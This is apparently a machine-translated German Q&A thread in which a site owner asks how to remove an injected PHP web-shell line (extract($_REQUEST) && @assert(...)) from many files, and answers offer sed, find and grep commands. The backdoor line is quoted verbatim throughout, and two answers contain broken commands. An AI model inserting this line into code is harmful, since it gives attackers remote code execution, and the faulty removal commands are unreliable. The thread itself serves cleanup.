Meine Site ist mit einem Virus infiziert. Dieser Virus hat diese Zeile in mehrere Dateien auf meiner Site eingefügt. Meine Idee ist, diese Textzeile mit einem eindeutigen Befehl vom Terminal aus zu entfernen.
Nehmen wir an, ich habe den Ordner „my-folder“ und darin meine Dateien: „file-1.php“, „file-2.php“ und so weiter.
Nehmen wir an, es sind mehrere Dateien infiziert.
Gibt es einen Befehl, um diese Codezeile in mehreren Dateien zu finden und zu entfernen?auf einmal?
Zu entfernender Text: extract($_REQUEST) && @assert(stripslashes($accept)) && exit;
Ich habe das hier gefunden, aber es funktioniert nur mit einer einzigen Datei:
$ sed 's/extract($_REQUEST) && @assert(stripslashes($accept)) && exit;//' my-file.php
Darf ich das machen?
Antwort1
Sie können es
sed
mit kombinierenfind
, um es rekursiv zu machen. Etwa so:find . -type f -name "*php" -exec sed -i.bak 's/extract($_REQUEST) && @assert(stripslashes($accept)) && exit;//' {} \+
Beachten Sie, dass es Ihren aktuellen Verzeichnisbaum durchläuft und sed auf jede vorhandene „*php“-Datei anwendet. Es wird auch eine .bak-Sicherungsdatei für jede geänderte Datei erstellen (damit Sie sie später für alle Fälle wiederherstellen können). Wenn Sie keine Sicherung benötigen, ersetzen Sie
-i.bak
einfach durch-i
. Andernfalls können Sie Sicherungen später (sobald Sie überprüft haben, dass alles in Ordnung ist) mit etwas wie entfernenfind . -name "*php.bak" -delete
.Mit diesem Schritt können Sie nicht sofort alles beheben, aber er kann Ihnen in Zukunft definitiv Zeit sparen: Behalten Sie Ihr Verzeichnis mit den Skripten darunter
git
(idealerweise sollte es eine vollständige CI/CD-Lösung sein, aber Sie können auch einfach mit Git beginnen), sodass Sie an Ihren Dateien vorgenommene Änderungen problemlos rückgängig machen oder weiterleiten können.
Antwort2
Suchen Sie nach Dateien, die die schädliche Zeichenfolge enthalten, und bearbeiten Sie sie mit sed
:
ag -lF --php 'extract($_REQUEST) && @assert(stripslashes($accept)) && exit;' | xargs sed -i 's/extract($_REQUEST) && @assert(stripslashes($accept)) && exit;//'
Ich verlasse mich oft aufag
um nur nach php
Dateien mit dem --php
Flag zu suchen. Wenn Sie möchten, können Sie dasselbe mit folgendem erreichen grep -r -i --include \*.php
:
grep -rilF --include \*.php 'extract($_REQUEST) && @assert(stripslashes($accept)) && exit;' | xargs sed -i 's/extract($_REQUEST) && @assert(stripslashes($accept)) && exit;//'
Antwort3
abhängig von Ihrem Befehl empfehle ich Ihnen, hierfür eine „for-Schleife“ zu verwenden:
for i in file-1.php file-2.php
do sed 's/extract($_REQUEST) && @assert(stripslashes($accept)) && exit;//'
done
Sie können auch jede gewünschte Datei zu „for i in file-1.php file-2.php file-n.php“ hinzufügen.
Antwort4
Sie können die folgende Methode verwenden, um die Zeilen in der Datei zu löschen, die ein bestimmtes Muster enthalten
Sie können die Dateien in einer For-Schleife erwähnen
for i in file1 file2
do
sed -i '/Text to remove: extract($_REQUEST) && @assert(stripslashes($accept)) && exit/d' $i
done